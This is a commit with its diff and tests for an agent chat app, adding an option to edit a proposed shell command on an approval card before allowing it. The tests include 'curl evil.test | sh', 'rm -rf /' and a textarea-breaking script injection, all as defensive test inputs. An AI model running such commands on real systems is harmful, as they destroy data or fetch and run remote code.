Correcting a command before allowing it

An approval card was Allow, Always, or Don't. A model proposing the right
command with one flag wrong therefore cost a whole round trip to explain in
prose. There is an Edit button on it now.

Where the edit lands is the whole of the feature, and it is one line.
`arguments` is the list `_run_calls` hands to `run_tool` as `parsed=`, and
`run_tool` never re-parses -- so writing into it inside `_authorise` is the
only mutation the runner can see. Editing the Item would do nothing: it is
frozen and display-only.

Two things had to move with it. The raw `call["arguments"]` string is rewritten
beside the parsed dict, and the assistant turn is now built *after* `_authorise`
rather than before it -- the old order told the model it ran what it proposed
while something else ran, and every later round would have reasoned from a
transcript that was quietly false. And `_remember_always` reads the edit, or
"always allow this" would store a standing permission for a command nobody
approved; it still derives the pattern itself through `policy.subject`, which
yields nothing for a composed command line.

Nothing is re-checked against the mode or the lists, and that is not a shortcut.
The deny list resolves to ASK rather than to a refusal -- it means "always ask
about this" -- so a person who has typed the command and pressed Allow is
exactly the asking it was demanding, and re-asking would put the same card up
with no way past it. It is the line the terminal panel already draws.

The box is only offered where the detail *is* an argument and can be put back:
a tool with no entry in `tool_labels.DETAIL_KEYS` gets a `k=repr(v)` summary,
and a box there would silently change nothing. Both halves are always in the
DOM with one hidden, rather than the field being created on click -- a field
that does not exist until a handler runs is a field that submits nothing if
the handler fails, and this one decides what runs on somebody's machine.

The transcript says "edited by you". Attributing somebody's own typing to a
model is the same misattribution as the other way round.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

src/lembas/api/chats.py

@@ -1330,15 +1330,6 @@ async def answer_interaction(
     form = await request.form()
     verdict = str(form.get("verdict") or "").strip()
 
-    # Read and recorded *before* resolving: `interaction.wait_for` clears
-    # `generation.pending` in its `finally`, so a moment later there is nothing
-    # left to remember and "always" would quietly mean "once".
-    remembered = 0
-    if verdict == interaction.ALLOW_ALWAYS:
-        remembered = _remember_always(
-            db, chat, generation_service.pending_items(chat.id, interaction_id)
-        )
-
     answers: dict[str, str] = {}
     for field, value in form.multi_items():
         kind, _, key = str(field).partition(".")
@@ -1350,6 +1341,23 @@ async def answer_interaction(
         elif kind == "choice" and written:
             answers.setdefault(key, written)
 
+    # Read and recorded *before* resolving: `interaction.wait_for` clears
+    # `generation.pending` in its `finally`, so a moment later there is nothing
+    # left to remember and "always" would quietly mean "once".
+    #
+    # `answers` is gathered first because an approval card can now carry a
+    # corrected command, and "always allow this" has to mean the command that is
+    # about to run rather than the one the model asked for. Remembering the
+    # proposed one would grant a standing permission nobody approved.
+    remembered = 0
+    if verdict == interaction.ALLOW_ALWAYS:
+        remembered = _remember_always(
+            db,
+            chat,
+            generation_service.pending_items(chat.id, interaction_id),
+            answers=answers,
+        )
+
     answered = generation_service.answer(
         chat.id,
         interaction_id,
@@ -1377,15 +1385,23 @@ async def answer_interaction(
     return response
 
 
-def _remember_always(db: DBSession, chat: Chat, items) -> int:
+def _remember_always(
+    db: DBSession, chat: Chat, items, *, answers: dict[str, str] | None = None
+) -> int:
     """Record what "always allow" was said about. Returns how many were new.
 
-    The pattern is derived **here**, from the item that was approved, and never
-    taken from the request -- the endpoint accepts an interaction id and a
-    verdict and nothing else. `agent_policy.subject` is the same normaliser
-    `decide` matches with, so what is stored is exactly what will be compared
-    later; it returns None for a command line carrying a shell metacharacter,
-    which is precisely the shape that must never become a standing permission.
+    The pattern is derived **here**, and still never taken from the request as a
+    pattern: `answers` carries the command a person may have corrected on the
+    card, and it goes through `agent_policy.subject` exactly as `item.detail`
+    does. That is the same normaliser `decide` matches with, so what is stored
+    is exactly what will be compared later; it returns None for a command line
+    carrying a shell metacharacter, which is precisely the shape that must never
+    become a standing permission.
+
+    Reading the edit matters rather than being a nicety. Somebody who corrects a
+    command and presses "always allow" has approved the corrected one, and
+    storing what the model originally asked for would be a standing permission
+    for something nobody ever agreed to.
 
     A tool name for everything that is not a command, which is the convention
     the shipped `allow_default` already uses: `file_read` and `file_list` are
@@ -1393,12 +1409,16 @@ def _remember_always(db: DBSession, chat: Chat, items) -> int:
     """
     scope = dict(chat.scope_json or {})
     entries = list(scope.get("allow") or [])
+    written = answers or {}
     added = 0
 
     for item in items:
         if item.kind != interaction.KIND_APPROVAL or len(entries) >= MAX_SCOPE_KEYS:
             continue
-        pattern = agent_policy.subject(item.tool_name, item.detail)
+        detail = item.detail
+        if item.editable:
+            detail = (written.get(item.key) or "").strip() or item.detail
+        pattern = agent_policy.subject(item.tool_name, detail)
         if not pattern or pattern in entries:
             continue
         entries.append(pattern)

src/lembas/services/generation.py

@@ -17,6 +17,7 @@ from __future__ import annotations
 
 import asyncio
 import contextlib
+import json
 import logging
 import time
 import uuid
@@ -585,15 +586,6 @@ async def _run(generation: Generation) -> None:
                 generation.touch()
                 break
 
-            messages = [
-                # The **raw** arguments string, not the parsed dict: the
-                # endpoint has to see back exactly what it sent, or an
-                # id-matching server pairs its own call with something it does
-                # not recognise.
-                *payload["messages"],
-                tools_service.assistant_turn(calls, "".join(round_text)),
-            ]
-
             # Parsed once, here, and shared by everything below: the approval
             # card, `policy.decide`, and the runner. See `_arguments_for`.
             arguments = _arguments_for(tool_context, calls)
@@ -602,10 +594,27 @@ async def _run(generation: Generation) -> None:
             # together under a semaphore, and four people-shaped pauses inside
             # that gather would queue behind each other invisibly -- see
             # services/interaction.py.
-            decided, allowed = await _authorise(generation, tool_context, calls, arguments)
+            decided, allowed, edited = await _authorise(
+                generation, tool_context, calls, arguments
+            )
             if generation.stopped:
                 break
 
+            messages = [
+                # The **raw** arguments string, not the parsed dict: the
+                # endpoint has to see back exactly what it sent, or an
+                # id-matching server pairs its own call with something it does
+                # not recognise.
+                #
+                # Built after `_authorise` rather than before it, because a
+                # command corrected on the approval card is written back into
+                # `calls` there. The other order sent the model the command it
+                # proposed while a different one ran, and every later round
+                # reasoned from a transcript that was quietly false.
+                *payload["messages"],
+                tools_service.assistant_turn(calls, "".join(round_text)),
+            ]
+
             generation.status = _tool_status(calls)
             generation.touch()
             try:
@@ -616,7 +625,14 @@ async def _run(generation: Generation) -> None:
                 generation.status = ""
                 generation.touch()
 
-            for call, outcome in zip(calls, outcomes, strict=True):
+            for index, (call, outcome) in enumerate(zip(calls, outcomes, strict=True)):
+                if index in edited:
+                    # A command somebody corrected on the card is theirs, not
+                    # the model's. Shown as such, for the same reason a plan
+                    # goes back quoted and attributed: text must not arrive
+                    # wearing an authorship it does not have, in either
+                    # direction.
+                    outcome.event["edited"] = True
                 generation.tool_events.append(outcome.event)
                 generation.output_bytes += len(outcome.content)
                 messages.append(tools_service.tool_turn(call, outcome.content))
@@ -1102,6 +1118,12 @@ def _approvals(context, calls: list[dict], arguments: list[dict]) -> list[intera
                 detail=detail,
                 reason=decision.reason,
                 purpose=agent_tools.why_of(args),
+                # A card showing one argument can offer to correct it. A model
+                # proposing the right command with one flag wrong is the common
+                # case, and Allow-or-Don't makes that a whole round trip to
+                # explain. Anything whose detail is a summary rather than a
+                # value cannot be put back and is not offered the box.
+                editable=bool(tool_labels.DETAIL_KEYS.get(call["name"])),
             )
         )
     return items
@@ -1171,12 +1193,13 @@ def _questions_in(args: dict) -> list[dict]:
 
 async def _authorise(
     generation, context, calls: list[dict], arguments: list[dict]
-) -> tuple[dict[int, ToolOutcome], set[int]]:
+) -> tuple[dict[int, ToolOutcome], set[int], set[int]]:
     """Which of this round's calls may run, and what the others answer instead.
 
-    Returns outcomes keyed by the call's index. Every index the caller does not
-    find here is cleared to run; every index it does find is answered without
-    the runner being reached at all. That is what keeps
+    Returns outcomes keyed by the call's index, the indices a person allowed,
+    and the indices whose command they corrected on the way. Every index the
+    caller does not find in the first is cleared to run; every index it does
+    find is answered without the runner being reached at all. That is what keeps
     `zip(calls, outcomes, strict=True)` aligned -- an endpoint matching on
     `tool_call_id` pairs the wrong content with the right id otherwise.
 
@@ -1184,12 +1207,17 @@ async def _authorise(
     told. They re-check the mode as a backstop and would otherwise refuse the
     very thing that was just approved -- the mode says "ask", and asking is what
     happened.
+
+    A command corrected on the card is written back into `arguments` **in
+    place**, because that same list is what `_run_calls` hands to `run_tool` as
+    `parsed=` and `run_tool` never re-parses. Editing the item would do nothing:
+    `Item` is display-only and frozen. This is the one place the two meet.
     """
     questions = _ask_items(context, calls, arguments)
     approvals = _approvals(context, calls, arguments)
     items = [*approvals, *questions]
     if not items:
-        return {}, set()
+        return {}, set(), set()
 
     timeout = float(context.interaction_timeout or 900)
     pause = interaction.build(uuid.uuid4().hex, items, timeout=timeout)
@@ -1199,19 +1227,25 @@ async def _authorise(
 
     if reply.ended:
         generation.stopped = True
-        return {}, set()
+        return {}, set(), set()
 
     decided: dict[int, ToolOutcome] = {}
     allowed: set[int] = set()
+    edited: set[int] = set()
 
     # An approval that came back as a refusal answers its call without the
     # runner being reached; one that came back allowed is simply left out, which
     # is how `_run_calls` is told to go ahead.
     for item in approvals:
-        if reply.permitted:
-            allowed.add(item.index)
-            continue
+        if not reply.permitted:
             decided[item.index] = _not_allowed(item, reply)
+            continue
+        if _apply_edit(calls, arguments, item, reply) != item.detail:
+            # So the transcript can say the command was changed before it ran.
+            # Without it a reader scrolling back sees a command attributed to
+            # the model that the model never wrote.
+            edited.add(item.index)
+        allowed.add(item.index)
 
     # Questions are grouped back by call, because one `ask_user` call may have
     # carried several and the endpoint expects exactly one tool turn per call.
@@ -1221,7 +1255,52 @@ async def _authorise(
     for index, asked in grouped.items():
         decided[index] = _answered(asked, reply)
 
-    return decided, allowed
+    return decided, allowed, edited
+
+
+def _apply_edit(
+    calls: list[dict],
+    arguments: list[dict],
+    item: interaction.Item,
+    reply: interaction.Reply,
+) -> str:
+    """Put a corrected command back where the runner will find it.
+
+    Returns what is going to run, edited or not, so the caller can record the
+    right thing. Two writes, and both are needed:
+
+    `arguments[index]` is what `run_tool` is handed as `parsed=`, and it never
+    re-parses -- so this is the only write that reaches the runner. Editing the
+    item would do nothing at all: `Item` is frozen and display-only.
+
+    `call["arguments"]`, the raw string, is rewritten beside it, because that is
+    what goes back to the endpoint as the assistant turn. Otherwise the model is
+    told it ran what it proposed rather than what actually ran, and every later
+    round reasons from a transcript that is quietly false.
+
+    Nothing is re-checked against the mode or the lists. That is the same line
+    the terminal panel and the directory browser draw, and here it is not even
+    close: the deny list resolves to ASK rather than to a refusal -- it means
+    "always ask about this" -- and a person who has typed the command themselves
+    and pressed Allow is exactly the asking it was demanding. Re-asking would
+    put the same card up again with no way past it. The instance's list still
+    governs the *model*: a pattern remembered by "always allow" is checked by
+    `decide`, where a deny hit wins before the allow list is even read.
+    """
+    if not item.editable:
+        return item.detail
+
+    edited = reply.answer_to(item)
+    key = tool_labels.DETAIL_KEYS.get(item.tool_name)
+    if not edited or edited == item.detail or not key:
+        return item.detail
+
+    arguments[item.index] = {**arguments[item.index], key: edited}
+    calls[item.index] = {
+        **calls[item.index],
+        "arguments": json.dumps(arguments[item.index]),
+    }
+    return edited
 
 
 def _not_allowed(item: interaction.Item, reply: interaction.Reply) -> ToolOutcome:

src/lembas/services/interaction.py

@@ -85,6 +85,12 @@ class Item:
     purpose: str = ""
     options: tuple[str, ...] = ()
     allow_free_text: bool = True
+    # Whether `detail` can be corrected before this is allowed. Only where the
+    # detail *is* one argument and can be put back where it came from -- a tool
+    # with no entry in `tool_labels.DETAIL_KEYS` gets a `k=repr(v)` summary that
+    # cannot be parsed back, and offering a box that silently changed nothing
+    # would be worse than offering none.
+    editable: bool = False
 
 
 @dataclass

src/lembas/web/static/css/chat.css

@@ -521,6 +521,18 @@
   white-space: pre-wrap;
   overflow-wrap: anywhere;
 }
+/* The same command, correctable. Sized and spaced like the <pre> it replaces
+   so pressing Edit does not make the card jump. */
+.interaction__edit {
+  width: 100%;
+  margin: 0 0 var(--sp-2);
+  padding: var(--sp-3);
+  font-family: var(--font-mono);
+  font-size: var(--text-xs);
+  white-space: pre-wrap;
+  overflow-wrap: anywhere;
+  resize: vertical;
+}
 .interaction__reason { margin: 0; color: var(--ink-muted); font-size: var(--text-xs); }
 /* The model's account of what it is about to do. Above the command and quieter
    than the title, so the command stays the thing being agreed to. */

src/lembas/web/templates/chat/_interaction.html

@@ -68,7 +68,7 @@
 
     {% else %}
       {% for item in ask.items %}
-      <div class="interaction__question">
+      <div class="interaction__question" x-data="{ editing: false }">
         <p class="interaction__title">{{ item.title }}</p>
         {% if item.purpose %}
         {# The model's own account of what this is for, above the thing itself.
@@ -78,7 +78,44 @@
         <p class="interaction__purpose">It says: {{ item.purpose }}</p>
         {% endif %}
         {% if item.detail %}
+          {% if item.editable %}
+          {#
+            The command, correctable before it runs. A model proposing the right
+            thing with one flag wrong is the common case, and Allow-or-Don't
+            makes that a round trip to explain in prose.
+
+            Both halves are always in the DOM and one is hidden, rather than the
+            box being created when Edit is pressed: a field that does not exist
+            until a click is a field that submits nothing if the click handler
+            ever fails, and this one decides what runs on somebody's machine.
+            The textarea is disabled while hidden so an untouched card cannot
+            post a `text.` field at all — that field means "this was edited",
+            and an empty one arriving would be indistinguishable from a command
+            somebody cleared.
+          #}
+          <div x-show="!editing">
             <pre class="interaction__detail">{{ item.detail }}</pre>
+            <button class="btn btn--sm" type="button"
+                    @click="editing = true; $nextTick(() => $refs.edit{{ item.key }}.focus())">
+              {{ icon("pencil", "icon--sm") }} Edit
+            </button>
+          </div>
+          <div x-show="editing" x-cloak>
+            <label class="visually-hidden" for="edit-{{ item.key }}">
+              Change this before it runs
+            </label>
+            <textarea class="textarea interaction__edit" id="edit-{{ item.key }}"
+                      name="text.{{ item.key }}" rows="3" spellcheck="false"
+                      x-ref="edit{{ item.key }}"
+                      :disabled="!editing">{{ item.detail }}</textarea>
+            <p class="interaction__reason">
+              Allow runs what is in the box. It is not checked against this
+              chat's rules again — you typed it.
+            </p>
+          </div>
+          {% else %}
+          <pre class="interaction__detail">{{ item.detail }}</pre>
+          {% endif %}
         {% endif %}
         {% if item.reason %}
         <p class="interaction__reason">{{ item.reason }}</p>

src/lembas/web/templates/chat/_tool_activity.html

@@ -62,6 +62,15 @@
         </span>
       {% endif %}
 
+      {% if event.edited %}
+      {# Corrected on the approval card before it ran, so what is shown above is
+         the reader's command and not the model's. Said out loud rather than
+         left to be inferred: attributing somebody's own typing to a model is
+         the same misattribution as the other way round, and a transcript read
+         back a week later has nothing else to go on. #}
+      <span class="badge">edited by you</span>
+      {% endif %}
+
       {% if event.why %}
       {# What the model said this call was for. In the summary rather than the
          body because the body is collapsed: in Auto mode nothing stops for

tests/test_agent_command_edit.py

@@ -0,0 +1,417 @@
+"""Correcting a command on the approval card before allowing it.
+
+A model proposing the right thing with one flag wrong is the common case, and
+Allow-or-Don't makes that a whole round trip to explain in prose. Driven through
+the real machinery rather than asserted on markup, because the thing that
+matters is *what runs*, and there are three places the edited text has to reach.
+"""
+
+from __future__ import annotations
+
+import asyncio
+import json
+
+import pytest
+
+from lembas.db.models import KIND_AGENT, Chat, Connection, Model, SshProfile, User
+from lembas.services import generation as generation_service
+from lembas.services import interaction, settings_store, tool_labels
+from lembas.services import tools as tools_service
+from lembas.services.agent import policy
+from lembas.services.agent import ssh as ssh_service
+
+asyncssh = pytest.importorskip("asyncssh")
+
+
+# --- A machine to act on -----------------------------------------------------
+class _Server(asyncssh.SSHServer):
+    def begin_auth(self, username: str) -> bool:
+        return False
+
+
+async def _handler(process):
+    process.stdout.write(f"ran: {process.command or ''}\n")
+    process.exit(0)
+
+
+@pytest.fixture
+async def machine(tmp_path):
+    project = tmp_path / "project"
+    project.mkdir()
+    server = await asyncssh.create_server(
+        _Server,
+        "127.0.0.1",
+        0,
+        server_host_keys=[asyncssh.generate_private_key("ssh-ed25519")],
+        process_factory=_handler,
+        sftp_factory=True,
+    )
+    port = next(iter(server.sockets)).getsockname()[1]
+    line, fingerprint = await ssh_service.capture_host_key("127.0.0.1", port)
+    try:
+        yield {"port": port, "host_key": line, "fingerprint": fingerprint, "dir": str(project)}
+    finally:
+        server.close()
+        await server.wait_closed()
+
+
+def _agent_chat(db, user_id, machine, *, mode=policy.MODE_MANUAL) -> Chat:
+    settings_store.update(db, {"enabled": True}, key=settings_store.AGENTS)
+    profile = SshProfile(
+        owner_id=user_id,
+        name="Test box",
+        host="127.0.0.1",
+        port=machine["port"],
+        username="tester",
+        host_key=machine["host_key"],
+        host_fingerprint=machine["fingerprint"],
+        default_dir=machine["dir"],
+    )
+    db.add(profile)
+    db.commit()
+
+    connection = Connection(name="c", base_url="http://127.0.0.1:1", api_key_encrypted="")
+    db.add(connection)
+    db.commit()
+    db.add(Model(connection_id=connection.id, model_id="m", capabilities_json={"tools": True}))
+    db.commit()
+
+    chat = Chat(
+        user_id=user_id,
+        model_id="m",
+        connection_id=connection.id,
+        kind=KIND_AGENT,
+        ssh_profile_id=profile.id,
+        project_dir=machine["dir"],
+        agent_mode=mode,
+    )
+    db.add(chat)
+    db.commit()
+    return chat
+
+
+def _context(db, user_id, machine, **kwargs):
+    chat = _agent_chat(db, user_id, machine, **kwargs)
+    user = db.get(User, user_id)
+    resolved = tools_service.resolve_tools(db, chat, user)
+    return tools_service.context_for(db, user, chat, tools=resolved)
+
+
+def _shell_call(command: str, *, call_id: str = "c1") -> dict:
+    return {
+        "id": call_id,
+        "name": "shell_run",
+        "arguments": json.dumps({"command": command}),
+    }
+
+
+async def _authorise_with(context, calls, *, answers, verdict=interaction.ALLOW):
+    """Run `_authorise` and answer the card it puts up."""
+    generation = generation_service.Generation(chat_id="x", message_id="y")
+    arguments = generation_service._arguments_for(context, calls)
+    task = asyncio.create_task(
+        generation_service._authorise(generation, context, calls, arguments)
+    )
+    deadline = asyncio.get_running_loop().time() + 2.0
+    while generation.pending is None:
+        if asyncio.get_running_loop().time() > deadline:
+            task.cancel()
+            raise AssertionError("the reply never paused")
+        await asyncio.sleep(0.01)
+
+    pending = generation.pending
+    pending.resolve(verdict, answers=answers)
+    decided, allowed, edited = await task
+    return arguments, decided, allowed, edited, pending
+
+
+# --- What the card offers ------------------------------------------------------
+async def test_a_command_card_offers_the_box(db, user_id, machine):
+    context = _context(db, user_id, machine)
+    generation = generation_service.Generation(chat_id="x", message_id="y")
+    calls = [_shell_call("pytest -q")]
+    arguments = generation_service._arguments_for(context, calls)
+
+    task = asyncio.create_task(
+        generation_service._authorise(generation, context, calls, arguments)
+    )
+    while generation.pending is None:
+        await asyncio.sleep(0.01)
+    item = generation.pending.items[0]
+    assert item.editable is True
+    assert item.detail == "pytest -q"
+    generation.pending.resolve(interaction.DENY)
+    await task
+
+
+def test_a_tool_whose_detail_is_a_summary_offers_no_box():
+    """A tool with no entry in DETAIL_KEYS gets a `k=repr(v)` summary that
+    cannot be parsed back, so a box there would silently change nothing."""
+    assert "ask_user" not in tool_labels.DETAIL_KEYS
+    assert "shell_run" in tool_labels.DETAIL_KEYS
+
+
+# --- Where the edit lands ------------------------------------------------------
+async def test_the_edited_command_reaches_the_runner(db, user_id, machine):
+    """`arguments` is what `run_tool` is handed as `parsed=`, and it never
+    re-parses -- so this list is the only write that reaches the machine."""
+    context = _context(db, user_id, machine)
+    calls = [_shell_call("pytest")]
+
+    arguments, decided, allowed, edited, _ = await _authorise_with(
+        context, calls, answers={"a0": "pytest -q --tb=short"}
+    )
+    assert arguments[0]["command"] == "pytest -q --tb=short"
+    assert allowed == {0}
+    assert edited == {0}
+    assert decided == {}
+
+    outcomes = await generation_service._run_calls(
+        context, calls, arguments, decided=decided, allowed=allowed
+    )
+    assert "pytest -q --tb=short" in outcomes[0].content
+
+
+async def test_the_raw_arguments_are_rewritten_too(db, user_id, machine):
+    """That string is what goes back to the endpoint as the assistant turn.
+    Leaving it alone tells the model it ran what it proposed while something
+    else ran, and every later round reasons from a transcript that is false."""
+    context = _context(db, user_id, machine)
+    calls = [_shell_call("pytest")]
+
+    await _authorise_with(context, calls, answers={"a0": "pytest -q"})
+    assert json.loads(calls[0]["arguments"])["command"] == "pytest -q"
+
+    turn = tools_service.assistant_turn(calls, "")
+    assert "pytest -q" in turn["tool_calls"][0]["function"]["arguments"]
+
+
+async def test_an_untouched_card_changes_nothing(db, user_id, machine):
+    context = _context(db, user_id, machine)
+    calls = [_shell_call("pytest -q")]
+
+    arguments, _decided, allowed, edited, _ = await _authorise_with(
+        context, calls, answers={}
+    )
+    assert arguments[0]["command"] == "pytest -q"
+    assert allowed == {0}
+    assert edited == set()
+
+
+async def test_a_box_submitted_unchanged_is_not_an_edit(db, user_id, machine):
+    """The textarea is in the DOM before Alpine boots, so a very fast submit can
+    post the original text. That must read as "no edit", not as one."""
+    context = _context(db, user_id, machine)
+    calls = [_shell_call("pytest -q")]
+
+    _arguments, _decided, _allowed, edited, _ = await _authorise_with(
+        context, calls, answers={"a0": "pytest -q"}
+    )
+    assert edited == set()
+
+
+async def test_declining_ignores_the_edit(db, user_id, machine):
+    """Don't means don't. An edited box beside a refusal is not permission."""
+    context = _context(db, user_id, machine)
+    calls = [_shell_call("pytest")]
+
+    arguments, decided, allowed, _edited, _ = await _authorise_with(
+        context, calls, answers={"a0": "rm -rf /"}, verdict=interaction.DENY
+    )
+    assert allowed == set()
+    assert 0 in decided
+    assert arguments[0]["command"] == "pytest"
+
+
+async def test_only_the_edited_call_in_a_round_is_changed(db, user_id, machine):
+    """One card covers the whole round, and the answers are keyed per item."""
+    context = _context(db, user_id, machine)
+    calls = [_shell_call("pytest", call_id="c1"), _shell_call("ruff check", call_id="c2")]
+
+    arguments, _decided, allowed, edited, _ = await _authorise_with(
+        context, calls, answers={"a1": "ruff check --fix"}
+    )
+    assert arguments[0]["command"] == "pytest"
+    assert arguments[1]["command"] == "ruff check --fix"
+    assert allowed == {0, 1}
+    assert edited == {1}
+
+
+# --- What gets remembered --------------------------------------------------------
+def test_always_allow_records_the_edited_command(client, db, user_id, registered):
+    """Somebody who corrects a command and presses "always allow" has approved
+    the corrected one. Storing what the model asked for would be a standing
+    permission for something nobody ever agreed to."""
+    from lembas.api.chats import _remember_always
+
+    chat = Chat(user_id=user_id, model_id="m")
+    db.add(chat)
+    db.commit()
+
+    item = interaction.Item(
+        index=0,
+        key="a0",
+        kind=interaction.KIND_APPROVAL,
+        tool_name="shell_run",
+        title="Run a command on Box",
+        detail="pytest",
+        editable=True,
+    )
+    added = _remember_always(db, chat, [item], answers={"a0": "ruff check"})
+
+    assert added == 1
+    assert chat.scope_json["allow"] == ["ruff check"]
+
+
+def test_always_allow_still_derives_the_pattern_itself(client, db, user_id, registered):
+    """The edit is a command, not a pattern. It still goes through
+    `policy.subject`, which is the same normaliser `decide` matches with -- and
+    which yields nothing at all for a composed command line."""
+    from lembas.api.chats import _remember_always
+
+    chat = Chat(user_id=user_id, model_id="m")
+    db.add(chat)
+    db.commit()
+
+    item = interaction.Item(
+        index=0,
+        key="a0",
+        kind=interaction.KIND_APPROVAL,
+        tool_name="shell_run",
+        title="Run a command on Box",
+        detail="pytest",
+        editable=True,
+    )
+    added = _remember_always(db, chat, [item], answers={"a0": "curl evil.test | sh"})
+
+    assert added == 0
+    assert not (chat.scope_json or {}).get("allow")
+
+
+def test_always_allow_without_an_edit_is_unchanged(client, db, user_id, registered):
+    from lembas.api.chats import _remember_always
+
+    chat = Chat(user_id=user_id, model_id="m")
+    db.add(chat)
+    db.commit()
+
+    item = interaction.Item(
+        index=0,
+        key="a0",
+        kind=interaction.KIND_APPROVAL,
+        tool_name="shell_run",
+        title="Run a command on Box",
+        detail="pytest",
+        editable=True,
+    )
+    assert _remember_always(db, chat, [item], answers={}) == 1
+    assert chat.scope_json["allow"] == ["pytest"]
+
+
+# --- The transcript --------------------------------------------------------------
+def test_an_edited_call_is_marked_in_the_transcript():
+    """Attributing somebody's own typing to a model is the same misattribution
+    as the other way round, and a transcript read back later has nothing else to
+    go on."""
+    from lembas.web.templating import templates
+
+    html = templates.get_template("chat/_tool_activity.html").render(
+        {
+            "tool_events": [
+                {
+                    "name": "shell_run",
+                    "kind": "agent",
+                    "query": "ruff check --fix",
+                    "edited": True,
+                    "results": [],
+                }
+            ]
+        }
+    )
+    assert "edited by you" in html
+
+
+def test_a_call_nobody_touched_is_not_marked():
+    from lembas.web.templating import templates
+
+    html = templates.get_template("chat/_tool_activity.html").render(
+        {
+            "tool_events": [
+                {"name": "shell_run", "kind": "agent", "query": "ruff check", "results": []}
+            ]
+        }
+    )
+    assert "edited by you" not in html
+
+
+# --- The card, rendered ------------------------------------------------------------
+def _render(pause) -> str:
+    from lembas.web.templating import templates
+
+    return templates.get_template("chat/_interaction.html").render(
+        {"ask": pause, "chat_id": "abc"}
+    )
+
+
+def test_the_box_is_named_after_the_item():
+    """`api/chats.py` harvests every `text.*` field into `answers` regardless of
+    card kind, which is what makes this need no endpoint change at all."""
+    pause = interaction.Interruption(
+        id="p1",
+        items=(
+            interaction.Item(
+                index=0,
+                key="a0",
+                kind=interaction.KIND_APPROVAL,
+                tool_name="shell_run",
+                title="Run a command on Box",
+                detail="pytest -q",
+                editable=True,
+            ),
+        ),
+    )
+    html = _render(pause)
+    assert 'name="text.a0"' in html
+    assert "pytest -q" in html
+
+
+def test_a_command_that_cannot_be_put_back_gets_no_box():
+    pause = interaction.Interruption(
+        id="p1",
+        items=(
+            interaction.Item(
+                index=0,
+                key="a0",
+                kind=interaction.KIND_APPROVAL,
+                tool_name="something_odd",
+                title="Use something odd",
+                detail="a=1, b=2",
+                editable=False,
+            ),
+        ),
+    )
+    html = _render(pause)
+    assert 'name="text.a0"' not in html
+    assert "a=1, b=2" in html
+
+
+def test_the_box_escapes_what_the_model_wrote():
+    """It is model output and it is going into a textarea, which ends at the
+    first `</textarea>` the browser sees."""
+    pause = interaction.Interruption(
+        id="p1",
+        items=(
+            interaction.Item(
+                index=0,
+                key="a0",
+                kind=interaction.KIND_APPROVAL,
+                tool_name="shell_run",
+                title="Run a command on Box",
+                detail="ls </textarea><script>alert(1)</script>",
+                editable=True,
+            ),
+        ),
+    )
+    html = _render(pause)
+    assert "</textarea><script>" not in html
+    assert "&lt;/textarea&gt;" in html